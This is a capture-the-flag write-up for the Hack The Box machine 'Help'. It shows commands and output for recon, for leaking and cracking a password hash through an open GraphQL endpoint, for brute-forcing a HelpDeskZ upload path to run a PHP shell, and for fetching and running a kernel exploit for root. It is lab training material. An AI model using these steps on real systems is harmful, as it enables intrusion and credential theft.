Target IP: 10.10.10.121
Hostname: help.htb

Initial Reconnaissance

After adding the hostname to /etc/hosts, I scanned the target.

echo "10.10.10.121 help.htb" | sudo tee -a /etc/hosts
nmap -sC -sV 10.10.10.121

Three ports were open, and the two HTTP services are what mattered.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
80/tcp   open  http    Apache httpd 2.4.18
3000/tcp open  http    Node.js Express framework

Port 80 was a plain Apache page. Directory fuzzing with wfuzz turned up /javascript (a dead end, 403) and /support, which turned out to be a HelpDeskZ ticket system.

wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://help.htb/FUZZ

Port 3000 answered with JSON, which is a good hint for an API.

curl http://help.htb:3000/

{"message":"Hi Shiv, To get access please find the credentials with given query"}

“With given query” plus an Express backend strongly suggested GraphQL.

GraphQL on Port 3000

Guessing the /graphql endpoint paid off. A simple query for a user object returned credentials directly.

curl -s 'http://help.htb:3000/graphql' \
  -H 'Content-Type: application/json' \
  --data '{"query":"{ user { username password } }"}'

{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}

The password was a 32-character hex string, and on a Linux target a raw MD5 is a good first guess. It cracked instantly.

hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
# 5d3c93182bb20f07b994a7f617e99cff:godhelpmeplz

Those credentials logged into the HelpDeskZ instance at /support.

HelpDeskZ File Upload RCE

The support system was HelpDeskZ v1.0.2, which has a well-known unauthenticated arbitrary file upload vulnerability. When someone attaches a file to a ticket, HelpDeskZ stores it under uploads/tickets/ even if the extension is rejected, and it renames the file to md5(originalFilename + uploadTimestamp).

That naming scheme is guessable. If you upload a PHP shell and then compute the MD5 of the filename joined with each of the last few hundred seconds, you can find the stored path. A public PoC automates the brute force.

python2 poc.py http://help.htb/support shell.php

found!
http://help.htb/support/uploads/tickets/72a09f3daaac7473bf22c45ce38ee3f7.php

Visiting that path executed the shell, giving code execution as the help user and the user flag.

cat /home/help/user.txt

Privilege Escalation with a Kernel Exploit

The box was old, so I checked the kernel version first.

cat /etc/issue    # Ubuntu 16.04.5 LTS
uname -r          # 4.4.0-116-generic

searchsploit had a direct hit for that kernel.

searchsploit 4.4.0-116
# Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) | linux/local/44298.c

I transferred the exploit, compiled it on the target, and ran it.

wget http://10.10.14.20/44298.c
gcc 44298.c -o exploit
./exploit

task_struct = ffff880036908000
spawning root shell
root@help:/home/help# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Takeaways

Help is an older box, and it shows. The foothold is a two-step web problem: an unauthenticated GraphQL endpoint leaks a hashed password, and a known-vulnerable version of HelpDeskZ turns a predictable upload filename into remote code execution.

The privilege escalation is pure version-checking. A 2016 kernel with a public local exploit is the whole story. uname -r into searchsploit is often the fastest path on legacy machines.